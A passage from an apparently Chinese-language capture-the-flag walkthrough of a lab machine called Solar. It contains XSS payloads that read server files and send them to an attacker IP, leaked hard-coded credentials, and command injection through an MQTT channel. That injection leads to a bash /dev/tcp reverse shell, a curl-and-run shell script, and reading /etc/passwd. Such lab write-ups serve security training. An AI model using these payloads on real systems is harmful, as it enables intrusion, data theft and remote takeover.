&quot;2024-07-13T00:07:36.621Z&quot;,\n  &quot;user&quot;: {\n    &quot;name&quot;: &quot;JulianAdm&quot;,\n    &quot;role&quot;: &quot;admin&quot;\n  },\n  &quot;solar&quot;: 232,\n  &quot;consumed&quot;: 223,\n  &quot;grid&quot;: -9,\n  &quot;chart&quot;: &quot;\\&quot;&gt;&lt;script&gt;\\np=&#039;\/var\/www\/solar.nyx\/records\/index.php&#039;;\\nx=new XMLHttpRequest;\\nx.onerror=function(){{document.write(&#039;&lt;p&gt;&#039;+p+&#039; not found&#039;)}};\\nx.onload=function(){{document.write(&#039;&lt;p&gt;&#039;+p+&#039;&lt;\/p&gt;&lt;div style=\\&quot;word-break: break-all;max-width:90%;\\&quot;&gt;&#039;+btoa(this.responseText)+&#039;&lt;\/div&gt;&#039;)}};\\nx.open(\\&quot;GET\\&quot;,\\&quot;file:\/\/\\&quot;+p);x.send();\\n&lt;\/script&gt;&lt;x=\\&quot;&quot;\n}<\/code><\/pre>\n<p>\u6a21\u4eff\u524d\u9762\u7684\u683c\u5f0f\u5c1d\u8bd5\u6e32\u67d3\u4e00\u4e2apdf\u6587\u4ef6\u51fa\u6765\uff0c\u524d\u9762\u7684json\u53ef\u4ee5\u4f7f\u7528\u524d\u9762\u89e6\u53d1\u6309\u94ae\u5f97\u5230\u7684\u56de\u663e\u8fdb\u884c\u6784\u5efa\uff1a<\/p>\n<pre><code class=\"language-bash\">{&quot;time&quot;:&quot;2026-01-02T08:26:45.704Z&quot;,&quot;user&quot;:{&quot;name&quot;:&quot;JulianAdm&quot;,&quot;role&quot;:&quot;admin&quot;},&quot;solar&quot;..............<\/code><\/pre>\n<p>\u54b1\u4eec\u9700\u8981\u8bfb\u53d6\u7684\u654f\u611f\u76ee\u5f55\u6b63\u662f\u4e0a\u9762\u641c\u96c6\u7684<code>https:\/\/www.sunfriends.nyx\/server.php<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">{\n  &quot;time&quot;: &quot;2026-01-02T08:26:45.704Z&quot;,\n  &quot;user&quot;: {\n    &quot;name&quot;: &quot;JulianAdm&quot;,\n    &quot;role&quot;: &quot;admin&quot;\n  },\n  &quot;solar&quot;: 232,\n  &quot;consumed&quot;: 223,\n  &quot;grid&quot;: -9,\n  &quot;chart&quot;: &quot;\\&quot;&gt;&lt;script&gt;\\np=&#039;\/var\/www\/sunfriends.nyx\/server.php&#039;;\\nx=new XMLHttpRequest;\\nx.onerror=function(){{document.write(&#039;&lt;p&gt;&#039;+p+&#039; not found&#039;)}};\\nx.onload=function(){{document.write(&#039;&lt;p&gt;&#039;+p+&#039;&lt;\/p&gt;&lt;div style=\\&quot;word-break: break-all;max-width:90%;\\&quot;&gt;&#039;+btoa(this.responseText)+&#039;&lt;\/div&gt;&#039;)}};\\nx.open(\\&quot;GET\\&quot;,\\&quot;file:\/\/\\&quot;+p);x.send();\\n&lt;\/script&gt;&lt;x=\\&quot;&quot;\n}<\/code><\/pre>\n<p>\u5c06\u8fd9\u6bb5\u4fe1\u606f\u53d1\u9001\u7ed9<code>record<\/code>\u8fdb\u884c\u8bb0\u5f55\uff0c\u7b49\u5230\u56de\u663e\u4ee5\u540e\uff0c\u5047\u8bbe\u73b0\u5728\u6e32\u67d3\u597d\u4e86\uff0c\u5c1d\u8bd5\u89e6\u53d1\u6309\u94ae\uff0c\u7136\u540e\u8fdb\u884c\u4e0b\u8f7d\uff1a<\/p>\n<pre><code class=\"language-bash\">{\n  &quot;solarEnergy&quot;: &quot;&lt;img src=x onerror=\\&quot;(async () =&gt; { location.href=&#039;http:\/\/192.168.1.12:1234\/?data=&#039;+btoa(String.fromCharCode(...new Uint8Array(await (await fetch(&#039;\/records\/&#039;)).arrayBuffer())));})(); \\&quot; \/&gt;&quot;,\n  &quot;consumedEnergy&quot;: 22222\n}<\/code><\/pre>\n<p>\u4f1a\u53d7\u5230\u4e00\u6bb5\u7f16\u7801\uff0c\u548c\u524d\u9762\u4e00\u6837\u89e3\u7801\u540e\uff1a\uff08Tip\uff1a\u5982\u679c\u6ca1\u6536\u5230\u56de\u663e\u7684\u8bdd\u4e0d\u59a8\u591a\u53d1\u51e0\u6b21\u3002\u3002\u3002\u3002\u3002\uff09<\/p>\n<pre><code class=\"language-bash\">&lt;td&gt;2024-09-02T23:29:14.124Z&lt;\/td&gt;\n                    &lt;td&gt;\n                        &lt;a href=&quot;?download=true&amp;file=2024-09-02T23%3A29%3A14.124Z.json&quot; class=&quot;download-btn&quot;&gt;Download PDF&lt;\/a&gt;\n                    &lt;\/td&gt;\n                &lt;\/tr&gt;\n                            &lt;tr&gt;\n                    &lt;td&gt;2026-01-02T08:50:06.445Z&lt;\/td&gt;\n                    &lt;td&gt;\n                        &lt;a href=&quot;?download=true&amp;file=2026-01-02T08%3A50%3A06.445Z.json&quot; class=&quot;download-btn&quot;&gt;Download PDF&lt;\/a&gt;\n                    &lt;\/td&gt;\n                &lt;\/tr&gt;\n                    &lt;\/table&gt;\n        &lt;a href=&quot;..\/dashboard.php&quot; class=&quot;logout-link&quot;&gt;&lt; Back&lt;\/a&gt;\n    &lt;\/div&gt;\n&lt;\/body&gt;\n\n&lt;\/html&gt;<\/code><\/pre>\n<p>\u53d1\u73b0\u591a\u4e86\u4e00\u4e2a<code>?download=true&amp;file=2026-01-02T08%3A50%3A06.445Z.json<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u4e0b\u8f7d\u8bfb\u53d6\uff1a<\/p>\n<pre><code class=\"language-bash\">{\n  &quot;solarEnergy&quot;: &quot;&lt;img src=x onerror=\\&quot;(async () =&gt; {location.href=&#039;http:\/\/192.168.1.12:1234?data=&#039;+btoa(String.fromCharCode(...new Uint8Array(await (await fetch(&#039;\/records\/?download=true&amp;file=2026-01-02T08%3A50%3A06.445Z.json&#039;)).arrayBuffer())));})();\\&quot; \/&gt;&quot;,\n  &quot;consumedEnergy&quot;: 22222\n}<\/code><\/pre>\n<p>\u63a5\u6536\u5230\u56de\u663e\u4ee5\u540e\u89e3\u7801\u4fdd\u5b58\u5f97\u5230<code>server.php<\/code>\u6e90\u4ee3\u7801\u7684\u7f16\u7801\u683c\u5f0f\uff0c\u518d\u6b21\u89e3\u7801\u5f97\u5230\u6e90\u4ee3\u7801\u4ee5\u53ca\u54b1\u4eec\u9700\u8981\u7684\u53e3\u4ee4\uff1a<\/p>\n<pre><code class=\"language-bash\">&lt;?php\n$secure = true;\n$httponly = true;\n$samesite = &#039;Strict&#039;;\n$secret = [\n    &#039;user&#039; =&gt; &#039;5up3r&#039;,\n    &#039;pass&#039; =&gt; &#039;bloods&#039;\n];\n\nif (PHP_VERSION_ID &lt; 70300) {\n    session_set_cookie_params($maxlifetime, &#039;\/; samesite=&#039; . $samesite, $_SERVER[&#039;HTTP_HOST&#039;], $secure, $httponly);\n} else {\n    session_set_cookie_params([\n        &#039;lifetime&#039; =&gt; $maxlifetime,\n        &#039;path&#039; =&gt; &#039;\/&#039;,\n        &#039;domain&#039; =&gt; $_SERVER[&#039;HTTP_HOST&#039;],\n        &#039;secure&#039; =&gt; $secure,\n        &#039;httponly&#039; =&gt; $httponly,\n        &#039;samesite&#039; =&gt; $samesite\n    ]);\n}\nsession_start();\n\nif ($_SERVER[&#039;REQUEST_METHOD&#039;] == &#039;POST&#039; &amp;&amp; isset($_POST[&#039;username&#039;]) &amp;&amp; isset($_POST[&#039;password&#039;])) {\n    $username = $_POST[&#039;username&#039;];\n    $password = $_POST[&#039;password&#039;];\n\n    \/\/ Verify credentials \n    if ($username === $secret[&#039;user&#039;] &amp;&amp; $password === $secret[&#039;pass&#039;]) {\n        $_SESSION[&#039;loggedin&#039;] = true;\n        header(&#039;Location: server.php&#039;);\n        exit;\n    } else {\n        $error = &quot;Incorrect username or password.&quot;;\n    }\n}\n\nif (isset($_SESSION[&#039;loggedin&#039;]) &amp;&amp; $_SESSION[&#039;loggedin&#039;] === true) {\n    \/\/ Handle logout\n    if (isset($_POST[&#039;logout&#039;])) {\n        session_destroy();\n        header(&#039;Location: server.php&#039;);\n        exit;\n    }\n\n    \/\/ Handle command execution\n    if (isset($_POST[&#039;execute&#039;]) &amp;&amp; isset($_POST[&#039;command_file&#039;])) {\n        $commandFile = &#039;commands\/&#039; . basename($_POST[&#039;command_file&#039;]);\n        if (file_exists($commandFile)) {\n            $commandJson = file_get_contents($commandFile);\n            $command = json_decode($commandJson, true);\n\n            if (isset($command[&#039;cmd&#039;])) {\n                $output = shell_exec(escapeshellcmd($command[&#039;cmd&#039;]));\n                $mqttHost = &#039;localhost&#039;;\n                $mqttTopic = &#039;server\/command\/output&#039;;\n                $mqttMessage = json_encode([\n                    &#039;name&#039; =&gt; $command[&#039;name&#039;],\n                    &#039;command&#039; =&gt; $command[&#039;cmd&#039;],\n                    &#039;output&#039; =&gt; base64_encode($output)\n                ]);\n                $mqttCommand = sprintf(\n                    &#039;mosquitto_pub -h %s -t %s -m %s -u &#039;.$secret[&#039;user&#039;].&#039; -P \\&#039;&#039;.$secret[&#039;pass&#039;].&#039;\\&#039;&#039;,\n                    escapeshellarg($mqttHost),\n                    escapeshellarg($mqttTopic),\n                    escapeshellarg($mqttMessage)\n                );\n                shell_exec($mqttCommand);\n            } else {\n                $output = &quot;Invalid command format in the file.&quot;;\n            }\n        } else {\n            $output = &quot;Command file not found.&quot;;\n        }\n    }\n\n    \/\/ Get list of command files\n    $commandFiles = array_diff(scandir(&#039;commands&#039;), [&#039;.&#039;, &#039;..&#039;, &#039;php-info.php&#039;]);\n\n    \/\/ Show admin panel if user is authenticated\n    ?&gt;\n    &lt;!DOCTYPE html&gt;\n    &lt;html lang=&quot;en&quot;&gt;\n\n    &lt;head&gt;\n        &lt;meta charset=&quot;UTF-8&quot;&gt;\n        &lt;title&gt;Admin Panel&lt;\/title&gt;\n        &lt;link rel=&quot;stylesheet&quot; href=&quot;\/style.css&quot;&gt;\n        &lt;link rel=&quot;stylesheet&quot; href=&quot;\/styleadmin2.css&quot;&gt;\n    &lt;\/head&gt;\n\n    &lt;body&gt;\n        &lt;main&gt;\n            &lt;h1&gt;Server Administration Panel&lt;\/h1&gt;\n            &lt;p&gt;This is a server administration or management page.&lt;\/p&gt;\n            &lt;p style=&quot;text-align:left;&quot;&gt;Server contains two websites:\n            &lt;ul&gt;\n                &lt;li style=&quot;text-align:left;&quot;&gt;&lt;strong&gt;sunfriends.nyx&lt;\/strong&gt; a forum about solar energy.&lt;\/li&gt;\n                &lt;li style=&quot;text-align:left;&quot;&gt;&lt;strong&gt;solar.nyx&lt;\/strong&gt; a real time control panel for the community solar\n                    installation.&lt;\/li&gt;\n            &lt;\/ul&gt;\n            &lt;\/p&gt;\n            &lt;form method=&quot;post&quot; action=&quot;&quot;&gt;\n                &lt;input type=&quot;submit&quot; name=&quot;logout&quot; value=&quot;Logout&quot;&gt;\n            &lt;\/form&gt;\n            &lt;h2&gt;Server Information&lt;\/h2&gt;\n            &lt;form method=&quot;post&quot; action=&quot;&quot;&gt;\n                &lt;label for=&quot;command_file&quot;&gt;Select Command:&lt;\/label&gt;\n                &lt;select name=&quot;command_file&quot; id=&quot;command_file&quot; required&gt;\n                    &lt;?php foreach ($commandFiles as $file): ?&gt;\n                        &lt;option value=&quot;&lt;?php echo htmlspecialchars($file); ?&gt;&quot;&gt;&lt;?php echo htmlspecialchars($file); ?&gt;&lt;\/option&gt;\n                    &lt;?php endforeach; ?&gt;\n                &lt;\/select&gt;\n                &lt;br&gt;&lt;br&gt;\n                &lt;input type=&quot;submit&quot; name=&quot;execute&quot; value=&quot;Execute&quot;&gt;\n            &lt;\/form&gt;\n            &lt;?php if (isset($output)): ?&gt;\n                &lt;h3&gt;Command Output:&lt;\/h3&gt;\n                &lt;pre&gt;&lt;?php echo htmlspecialchars($output); ?&gt;&lt;\/pre&gt;\n            &lt;?php endif; ?&gt;\n        &lt;\/main&gt;\n    &lt;\/body&gt;\n\n    &lt;\/html&gt;\n    &lt;?php\n} else {\n    \/\/ Show login form if user is not authenticated\n    ?&gt;\n    &lt;!DOCTYPE html&gt;\n    &lt;html lang=&quot;en&quot;&gt;\n\n    &lt;head&gt;\n        &lt;meta charset=&quot;UTF-8&quot;&gt;\n        &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;\n        &lt;title&gt;Admin Login - Solar Community Server&lt;\/title&gt;\n        &lt;link rel=&quot;stylesheet&quot; href=&quot;\/style.css&quot;&gt;\n        &lt;link rel=&quot;stylesheet&quot; href=&quot;\/styleadmin.css&quot;&gt;\n\n    &lt;\/head&gt;\n\n    &lt;body&gt;\n        &lt;!-- Main container for the login form --&gt;\n        &lt;div class=&quot;login-container&quot;&gt;\n            &lt;!-- Page header --&gt;\n            &lt;h2&gt;Admin Login&lt;\/h2&gt;\n\n            &lt;!-- Subheader to clarify the purpose of the login --&gt;\n            &lt;h3&gt;Administration Server for &lt;strong&gt;solar.nyx&lt;\/strong&gt; and &lt;strong&gt;sunfriends.nyx&lt;\/strong&gt;&lt;\/h3&gt;\n\n            &lt;!-- Display error message if present --&gt;\n            &lt;?php if (isset($error)): ?&gt;\n                &lt;p class=&quot;error&quot;&gt;&lt;?php echo $error; ?&gt;&lt;\/p&gt;\n            &lt;?php endif; ?&gt;\n\n            &lt;!-- Login form --&gt;\n            &lt;form method=&quot;post&quot; action=&quot;&quot;&gt;\n                &lt;!-- Username input --&gt;\n                &lt;label for=&quot;username&quot;&gt;Username&lt;\/label&gt;\n                &lt;input type=&quot;text&quot; name=&quot;username&quot; id=&quot;username&quot; required&gt;\n\n                &lt;!-- Password input --&gt;\n                &lt;label for=&quot;password&quot;&gt;Password&lt;\/label&gt;\n                &lt;input type=&quot;password&quot; name=&quot;password&quot; id=&quot;password&quot; required&gt;\n\n                &lt;!-- Submit button --&gt;\n                &lt;input type=&quot;submit&quot; value=&quot;Login&quot;&gt;\n            &lt;\/form&gt;\n\n            &lt;!-- Footer link to the main site --&gt;\n            &lt;div class=&quot;footer-link&quot;&gt;\n                &lt;p&gt;Not an admin? &lt;a href=&quot;\/&quot;&gt;Return to Solar Community Forum&lt;\/a&gt;&lt;\/p&gt;\n            &lt;\/div&gt;\n        &lt;\/div&gt;\n    &lt;\/body&gt;\n\n    &lt;\/html&gt;\n    &lt;?php\n}\n?&gt;<\/code><\/pre>\n<p>\u53e3\u4ee4\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-text\">5up3r:bloods<\/code><\/pre>\n<p>\u540c\u7406\u53ef\u4ee5\u5f97\u5230\u53e6\u4e00\u4e2a\u654f\u611f\u76ee\u5f55<code>https:\/\/www.solar.nyx\/login.php<\/code>\uff0c\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459506.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459506.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102170052777\" style=\"zoom: 67%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459507.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459507.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102170125222\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u53ef\u4ee5\u6267\u884c\u4e00\u4e9b\u7cfb\u7edf\u547d\u4ee4\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459508.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459508.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102170157459\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8fd9\u4e9b\u547d\u4ee4\u6b63\u662f<code>commands<\/code>\u7684\u547d\u4ee4\uff0c\u4ee5<code>json<\/code>\u683c\u5f0f\u8fdb\u884c\u5b58\u50a8\u7684\uff0c\u6240\u4ee5\u5f97\u5c1d\u8bd5\u4e0a\u4f20\u4e00\u4e9b\u6076\u610f\u7684<code>json<\/code>\u8fdb\u884c\u53cd\u5f39shell\u6216\u8005\u6267\u884c\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u547d\u4ee4\uff0c\u4ee5\u65b0\u5f97\u5230\u7684\u53e3\u4ee4\u767b\u5f55<code>mqtt<\/code>\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459509.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459509.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102171012467\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u6dfb\u52a0\u547d\u4ee4\u3002\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">{\n    &quot;name&quot;: &quot;whoami&quot;,\n    &quot;cmd&quot;: &quot;whoami&quot;\n}<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459510.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459510.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102171142348\" style=\"zoom:67%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u5e76\u4e0d\u80fd\u76f4\u63a5\u8fdb\u884c\u6dfb\u52a0\uff0c\u72d7\u5934.jpg\uff0c\u5c1d\u8bd5\u6267\u884c\u4e00\u4e0b\u547d\u4ee4\uff0c\u770b\u770b\u662f\u5426\u6709\u6536\u83b7\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459511.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459511.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102171440497\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u4e86\u4e00\u4e2a\u76ee\u5f55\uff0c\u5c1d\u8bd5\u770b\u4e00\u4e0b\u662f\u5426\u5b58\u5728\u6dfb\u52a0\u6216\u8005\u4fee\u6539\u529f\u80fd\uff1a<\/p>\n<pre><code class=\"language-bash\">server\/command\/new\nserver\/command\/add\nserver\/command\/edit\nserver\/command\/change<\/code><\/pre>\n<p>\u56de\u663e\u90fd\u8fc7\u4e8e\u6b63\u5e38\u4e86\uff0c\u5c1d\u8bd5\u6784\u9020\u62a5\u9519\uff1a<\/p>\n<pre><code>{\n    &quot;name&quot;: &quot;whoami&quot;\n}<\/code><\/pre>\n<p><code>server\/command\/new<\/code>\u5f97\u5230\u62a5\u9519\uff1a<\/p>\n<pre><code class=\"language-bash\">Missing &#039;cmd&#039; parameter in JSON: {    &quot;name&quot;: &quot;whoami&quot;}<\/code><\/pre>\n<p>\u5176\u4ed6\u65e0\u56de\u663e\uff0c\u8bf4\u660e\u8fd9\u4e2a\u529f\u80fd\u662f\u5b58\u5728\u7684\uff01\uff01\uff01\uff01\u5c1d\u8bd5\u6d4b\u8bd5\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">{\n    &quot;name&quot;: &quot;test&quot;,\n    &quot;cmd&quot;: &quot;ping -c 5 192.168.1.12&quot;\n}<\/code><\/pre>\n<p>\u5237\u65b0\u4e00\u4e0b\u754c\u9762\u53d1\u73b0\u5c45\u7136\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459512.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459512.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102172712874\" style=\"zoom: 50%;\" \/><\/div><br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459514.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459514.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102172735396\" style=\"zoom: 67%;\" \/><\/div><\/p>\n<p>\u547d\u4ee4\u6267\u884c\u6210\u529f\u4e86\uff01\uff01\uff01\u5c1d\u8bd5\u8fdb\u884c\u53cd\u5f39shell\uff01\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">{\n    &quot;name&quot;: &quot;reverseshell&quot;,\n    &quot;cmd&quot;: &quot;\/bin\/bash -i &gt;&amp; \/dev\/tcp\/192.168.1.12\/1234 0&gt;&amp;1&quot;\n}<\/code><\/pre>\n<p>\u6267\u884c\u53d1\u73b0\u4f3c\u4e4e\u5e76\u672a\u6267\u884c\u6210\u529f\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u6587\u4ef6\u8fdb\u884c\u53cd\u5f39shell\uff01<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Solar]\n\u2514\u2500$ cat revshell.sh \n\/bin\/bash -i &gt;&amp; \/dev\/tcp\/192.168.1.12\/1234 0&gt;&amp;1<\/code><\/pre>\n<p>\u7136\u540e<\/p>\n<pre><code class=\"language-bash\">{\n    &quot;name&quot;: &quot;revshell1&quot;,\n    &quot;cmd&quot;: &quot;curl http:\/\/192.168.1.12:2345\/revshell.sh -o \/tmp\/revshell.sh&quot;\n}<\/code><\/pre>\n<pre><code class=\"language-bash\">{\n    &quot;name&quot;: &quot;revshell2&quot;,\n    &quot;cmd&quot;: &quot;bash \/tmp\/revshell.sh&quot;\n}<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459515.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202601031459515.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260102174136255\" style=\"zoom: 67%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ cat \/etc\/passwd | grep sh\nroot:x:0:0:root:\/root:\/bin\/bash\nlenam:x:1000:1000:,,,:\/home\/lenam:\/bin\/bash\nsshd:x:102:65534::\/run\/sshd:\/usr\/sbin\/nologin\njulian:x:1001:1001::\/home\/julian:\/bin\/sh\n(remote) www-data@solar:\/var\/www\/sunfriends.nyx$ ls -la \/home\/\ntotal 16\ndrwxr-xr-x  4 root   root   4096 Aug 28  2024 .\ndrwxr-xr-x 18 root   root   4096 Sep  2  2024 ..\ndrwxr-xr-x  9 julian julian 4096 Sep  4  2024 julian\ndrwxr-xr-x  6 lenam  lenam  4096 